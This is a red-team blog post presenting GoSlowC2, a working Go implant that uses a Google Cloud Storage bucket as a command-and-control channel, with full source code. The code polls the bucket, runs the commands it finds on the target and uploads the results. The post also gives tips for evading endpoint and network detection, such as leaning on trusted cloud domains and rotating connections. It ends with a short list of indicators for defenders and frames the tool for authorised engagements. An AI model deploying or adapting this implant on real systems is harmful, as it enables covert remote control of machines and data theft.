Dennis ChowDec 2, 2022 12:00:00 AM12 min read

Red Team Payload with Go and GCP

Red Team Payload with Go and GCP

Red Team Payload with Go and GCP

Introduction

It’s no secret that offensive security professionals leverage the cloud for its abundant compute resources. Yet, many penetration testers and red teams only leverage a fraction of the cloud by installing their tooling on virtual machine instances for hash cracking, basic scanning and exploit delivery.

Once in a while you might find a more mature organization using terraform to spin up purple team or red team research landing zones. What if you could leverage other Platform-as-a-Service (PaaS) resources from Cloud Service Providers (CSPs)? Combine known “trusted” fully qualified domain names (FQDNs) to PaaS endpoints rather than rely on public IP’s that are more likely to trigger a blue team’s detection.

Let’s explore a slightly different use case for Google Cloud Platform (GCP) Storage buckets and GoLang scripts. The following is a general process flow of what we will be building:

A copy of GoSlowC2 and its complementing sub-module

A copy of GoSlowC2 and its complementing sub-module

A copy of GoSlowC2 and its complementing sub-module has been open sourced and publicly accessible for further exploration.

Race to Detection

Why would we want to leverage GCP Storage buckets and GoLang? The main concern for red teamers is “burning your good stuff” on an engagement. Well qualified teams will create and customize payloads to evade detection. This usually takes a combination of many research and development weeks to achieve.

A PaaS service that is widely used and trusted is less likely to be scrutinized as heavily. When combined with a newer general purpose language, like GoLang (modeled after the C-family) presents new opportunities of detection evasion.

GoLang Special Traits

Other languages such as C, Python, and others have been used by red teamers for many years. This also gave the opportunity for Digital Forensics and Incident Response (DFIR) teams to create new detection use cases and improve endpoint and network traffic analysis solutions.

GoLang is a newer, general purpose language that has not had as much attention from the security community. Anecdotal experience has shown that less awareness means less maturity of detection and reverse engineering in blue team tools. GoLang also has built in WinAPI direct C-style call support for creating additional in-memory shell execution payload manipulation techniques such as reflective DLL injection.

Even more interesting was that at the time of this writing, we discovered that when creating re-factored payload in GoLang that would be the same in C did not cause Windows Defender, Google Drive, and some other Anti-Malware solutions to trigger backdoor or trojan related alerts.

The following is the C example that will easily trigger backdoor or trojan alerts when scanned as source and compiled as well:

//#include <stdio.h> #include <stdlib.h> //to use system() //#include <string.h> //to use strcpy() 
//char* command; 
int main()
{
   //char* command;    char command[100] = "calc.exe";
   //executing calc.exe command    //strcpy(command, "dir");    //printf("running dir\n");    system(command);

   return 0;
}

Note that in the above the use of the standard “system” command call which will invoke shell to execute your command and will easily be detected as an unsigned binary proxy that is also relatively small footprint.

Take the same code and port it over to GoLang, when compiled and ran might trigger an unsigned or unknown binary threat intel scan at the endpoint; but does not immediately flag as a backdoor trojan:

package main

import (
   "fmt"
   "os"
   "os/exec"
)

func main() {
   //cmd := exec.Command("go", "run", "./helloworld/helloworld.go")    cmd := exec.Command("calc.exe")
   cmd.Stdout = os.Stdout
   cmd.Stderr = os.Stderr

   if err := cmd.Run(); err != nil {
       fmt.Println(err)
   }
}

Compiling Go is very easy by using the following syntax: “go build <goscript.go>”. The first thing a red teamer might do is try to immediately “strip” symbols and functions from the binary or add a generic packer, such as UPX. We actually don’t want to do that because that will trigger additional Endpoint signatures that we don’t need unnecessary attention for. Building GoLang in its plain default format will ironically add to your initial detection evasion.

GCP Storage C2 Channel

In the previous section we looked at GoLang as the initial payload or foothold for infecting patient zero without tripping as many Endpoint alerts. Now it’s time to establish the command and control (C2) with a reverse call out and somehow manage asynchronous communication.

Many PaaS services could fit the requirement (even multiple services) such as a queue such as GCP pub/sub and Firestore. However, to keep it simple and allow for easy CLI usage; we’ll use a GCP storage bucket. We will also secure the bucket with a service account to prevent other attackers from abusing any publicly read and writable service.

GCP storage is a great choice because the Application Programming Interface (API) goes to storage.googleapis.com, allows for access control, native encryption in-flight, and at rest. Most importantly, the GCP Storage service has GoLang SDK support handling all this for you plus a storage bucket allows you to mass or slow leak data exfiltration in the same endpoint as your C2 channel.

The following is the snippet of our polling function to use GCP Storage as the C2 medium:

   //find a random seeded polling period 1 and 5 min    var maxsec int = 10
   var minsec int = 1
   rand.Seed(time.Now().UnixNano())
   random_sec := (rand.Intn(maxsec-minsec) + minsec)

   //sleep for random time in secs and poll the bucket for input.txt    //setting for loop with stop conditions for emergencies. remove conditions for infinite loop    var cycle int = 0
   for i := 0; i < 2; i++ {
       time.Sleep(time.Duration(random_sec) * time.Second)
       cycle += i
       fmt.Println("cycle: ", cycle)
       fmt.Println("cmdfile to parse: ", object_input)
       fmt.Println("outputfile to check: ", object_output)
       downloadFile(bucket, "input.txt", "input.txt") //stage to disk demo only. if you want in pure memory DIY.        run_cmd := readCmd(object_input)
       runBin(run_cmd, "")               //use null string for no argument commands        uploadFile(bucket, object_output) //return results to view in gcp storage        os.Remove("input.txt")            //clean up file on each iteration vs. signal run on exit    }

Secure Your Bucket

An important step in using our method of C2 is to secure your bucket. In GCP, ensure you have performed the following steps:

  • Ensure your GCP Storage bucket is not publicly accessible
  • Create a service account and bind the minimum defined roles including: object viewer, object creator, object list permissions
  • Export your JSON service account key and keep it safe for testing

Important: Please note that this implementation of the C2 using Golang assumes offensive security professionals have managed to exploit and inject or call in memory or additional file credentials. Your service account key will be in “file” format when executing this proof of concept implementation. You must modify the code to your needs.

Putting it all together

Now that you are aware of the components; it’s really a simple and quick to deploy solution for any engagement. The full code for the main module is below:

// goslowc2 is a demo payload execution for using GCP Storage bucket and objects as the C2 mechanism package main

import (
   "bufio"
   "context"
   "fmt"
   "io"
   "math/rand"
   "os"
   "os/exec"
   "strings"
   "time"

   "cloud.google.com/go/storage"
)

//set auth state from json service account gcp func init() {
   os.Setenv("GOOGLE_APPLICATION_CREDENTIALS", "<FILENAME-SVC-ACC.json>") // FILL IN WITH YOUR FILE PATH }

// uploadFile uploads an object. func uploadFile(bucket, object string) error {
   // bucket := "bucket-name"    // object := "object-name"    ctx := context.Background()
   client, err := storage.NewClient(ctx)
   if err != nil {
       return fmt.Errorf("storage.NewClient: %v", err)
   }
   defer client.Close()

   // Open local file.    f, err := os.Open("./output.txt")
   if err != nil {
       return fmt.Errorf("os.Open: %v", err)
   }
   defer f.Close()

   ctx, cancel := context.WithTimeout(ctx, time.Second*50)
   defer cancel()

   o := client.Bucket(bucket).Object(object)

   // Upload an object with storage.Writer.    wc := o.NewWriter(ctx)
   if _, err = io.Copy(wc, f); err != nil {
       return fmt.Errorf("io.Copy: %v", err)
   }
   if err := wc.Close(); err != nil {
       return fmt.Errorf("Writer.Close: %v", err)
   }
   return nil
}

//no return needed func runBin(cmdbin string, cmdarg string) {
   //arguments    //cmdbin := "whoami"    //cmdarg := ""    //cmd := exec.Command("ls", "-lah")    //command constructor    arg_len := len(cmdarg)
   if arg_len < 1 {
       cmd := exec.Command(cmdbin)
       // open the out file for writing        outfile, err := os.Create("./output.txt")
       if err != nil {
           panic(err)
       }
       defer outfile.Close()

       stdoutPipe, err := cmd.StdoutPipe()
       if err != nil {
           panic(err)
       }

       writer := bufio.NewWriter(outfile)
       defer writer.Flush()

       err = cmd.Start()
       if err != nil {
           panic(err)
       }

       go io.Copy(writer, stdoutPipe)
       cmd.Wait()

   }
   if arg_len > 0 {
       cmd := exec.Command(cmdbin, cmdarg)
       // open the out file for writing        outfile, err := os.Create("./output.txt")
       if err != nil {
           panic(err)
       }
       defer outfile.Close()

       stdoutPipe, err := cmd.StdoutPipe()
       if err != nil {
           panic(err)
       }

       writer := bufio.NewWriter(outfile)
       defer writer.Flush()

       err = cmd.Start()
       if err != nil {
           panic(err)
       }

       go io.Copy(writer, stdoutPipe)
       cmd.Wait()
   }

}

//specify the input file single line command return string func readCmd(inputfilename string) string {
   file_input, _ := os.ReadFile(inputfilename)
   cmd_str := string(file_input)
   stripped_cmd := strings.TrimSuffix(cmd_str, "\r\n")
   return stripped_cmd
}

//ingest input.txt for parsing through readCmd and runBin func downloadFile(bucket, object string, destFileName string) error {
   // bucket := "bucket-name"    // object := "object-name"    // destFileName := "file.txt"    ctx := context.Background()
   client, err := storage.NewClient(ctx)
   if err != nil {
       return fmt.Errorf("storage.NewClient: %v", err)
   }
   defer client.Close()

   ctx, cancel := context.WithTimeout(ctx, time.Second*50)
   defer cancel()

   f, err := os.Create(destFileName)
   if err != nil {
       return fmt.Errorf("os.Create: %v", err)
   }

   rc, err := client.Bucket(bucket).Object(object).NewReader(ctx)
   if err != nil {
       return fmt.Errorf("Object(%q).NewReader: %v", object, err)
   }
   defer rc.Close()

   if _, err := io.Copy(f, rc); err != nil {
       return fmt.Errorf("io.Copy: %v", err)
   }

   if err = f.Close(); err != nil {
       return fmt.Errorf("f.Close: %v", err)
   }

   return nil

}

func main() {
   //driver section 
   //bucket and object details    var bucket string = "YOURBUCKET"
   var object_input string = "input.txt"
   var object_output string = "output.txt"

   //find a random seeded polling period 1 and 5 min    var maxsec int = 10
   var minsec int = 1
   rand.Seed(time.Now().UnixNano())
   random_sec := (rand.Intn(maxsec-minsec) + minsec)

   //sleep for random time in secs and poll the bucket for input.txt    //setting for loop with stop conditions for emergencies. remove conditions for infinite loop    var cycle int = 0
   for i := 0; i < 2; i++ {
       time.Sleep(time.Duration(random_sec) * time.Second)
       cycle += i
       fmt.Println("cycle: ", cycle)
       fmt.Println("cmdfile to parse: ", object_input)
       fmt.Println("outputfile to check: ", object_output)
       downloadFile(bucket, "input.txt", "input.txt") //stage to disk demo only. if you want in pure memory DIY.        run_cmd := readCmd(object_input)
       runBin(run_cmd, "")               //use null string for no argument commands        uploadFile(bucket, object_output) //return results to view in gcp storage        os.Remove("input.txt")            //clean up file on each iteration vs. signal run on exit    }

}

Note: You will notice that the GCP Storage client context is not-reused across the main driver code. This is intentional to ensure a new TCP connection is established each time to prevent long-standing connection for flow tracking from network and defender teams.

Runtime Demonstration

Ensure you have modified all applicable variables such as the bucket name, credential JSON filename (and if applicable, location), and the polling timer to your preferences.

With our code ready to execute, upload a file called “input.txt” to your bucket with a command that will run on the target system such as “whois” and ensure you have saved it in UTF-8 or ANSI format. An editor such as notepad can be used:

Runtime demonstration

Runtime demonstration

Now assuming you have compiled the module you can run the execute as-is as long as your service account access key JSON file is in the same directory as your executable so that the credentials are initialized at runtime.

Alternatively instead of compiling you can run the script as is using the following syntax: “go run goslowc2.go” on the target host:

Run the script without compiling

Run the script without compiling

In the above, we have used “whoami” as the command to be executed locally. GoSlowc2 was running in a limited poll cycle and grabbed output.txt from the bucket which now shows the results of the runtime. For demonstration purposes, the command and control were run on the same host.

Going Further

The base GoSlowC2, while very practical, is somewhat limited and still utilizes the standard system execution calls that are a well known library. To further add obfuscation to our activities or create our own interactive shell, it is common for APT and red teamers to also use the WinAPI calls in their malware payloads.

GoLang allows this and thanks to researchers there is an easy method and syntax of interacting with Windows API using unsigned integers pointers within the C-style parameters.

Note: During our testing, we did come across an anomaly in Windows 11 x64 where in user32.dll the MessageBoxA string descriptors for the message and title for a pop up only captured the first 1 byte from the pointer each time.

The following is some sample code written for your testing purposes:

package main

import (
   "fmt"
   "syscall"
   "unsafe"
)

var (
   user32dll_obj   = syscall.NewLazyDLL("user32.dll")
   messageboxa_obj = user32dll_obj.NewProc("MessageBoxA")
)

func main() {
   //Win11x64 Go 1.18.4 ptr call grabs first byte?    foo_obj, _ := syscall.UTF16PtrFromString("foo")
   bar_obj, _ := syscall.UTF16PtrFromString("bar")
   //barj, _ := syscall.UTF16PtrFromString.('bar')    fmt.Println("calling user32.dll function now..")
   //messageboxa_obj.Call(0, uintptr(unsafe.Pointer(foo_obj)), uintptr(unsafe.Pointer(bar)), 0x1L)    //messageboxa_obj.Call(0, 0, 0, 0)    messageboxa_obj.Call(0, uintptr(unsafe.Pointer(foo_obj)), uintptr(unsafe.Pointer(bar_obj)), 0)
   //if err != nil {    // fmt.Println(err)    //} 
}

Executing the following code in our Windows 11 host resulted in the following anomaly for a generic message box:

Message box anomaly

Message box anomaly

Calling WinAPI functions in C style fashion is significant when experimenting further with additional exploitation, and shell interaction during runtime. If desired, testers can modify the runBin function within GoSlowC2 to take entire files or GoLang scripts like the one above as the command set instead.

Detections for Blue Teams

It would be cruel to open source a moderately non-detected payload without tips for defenders to detect anomalies with the specific base code of GoSlowC2. The following is a series of indicators of compromise (IOCs) and their corresponding MITRE ATT&CK mappings:

Potential IOC MITRE ATT&CK Mappings Questions for Defenders or Incident Handlers
GoLang Calling Direct System WinAPI (if using the method in the Going Further section) T1106 Does your environment typically have developers that use non-memory managed languages?
GoSlowC2 leverages GCP Storage SDK using standard calls to the storage API T1071.001 Does your organization even use GCP storage from on premise?
GoSlowC2 uses os/exec standard package to execute commands such as LOLbins T1059 Is it common for Non-Cmd.exe or Powershell.exe binaries to call Cmd or Powershell as a call to run a subprocess?

Summary

We covered how you can use GoLang and GCP Storage in different ways to modulate your payload and penetration testing or red team engagement initial infection vector using common and widely popular tooling and services. GoLang gives the flexibility of scripting, compiling, and has the advantage of being not as well detected as its older C language cousin.

GCP Storage can be an easy scratch-pad for a C2 medium along with any other PaaS service that can read and write with its own built-in encrypted and access controlled channels. Depending on the skillsets of red and blue teams, the base GoSlowC2 is detectable and extensible depending on your engagement needs.

RELATED ARTICLES

The information presented in this article is accurate as of 7/19/23. Follow the ScaleSec blog for new articles and updates.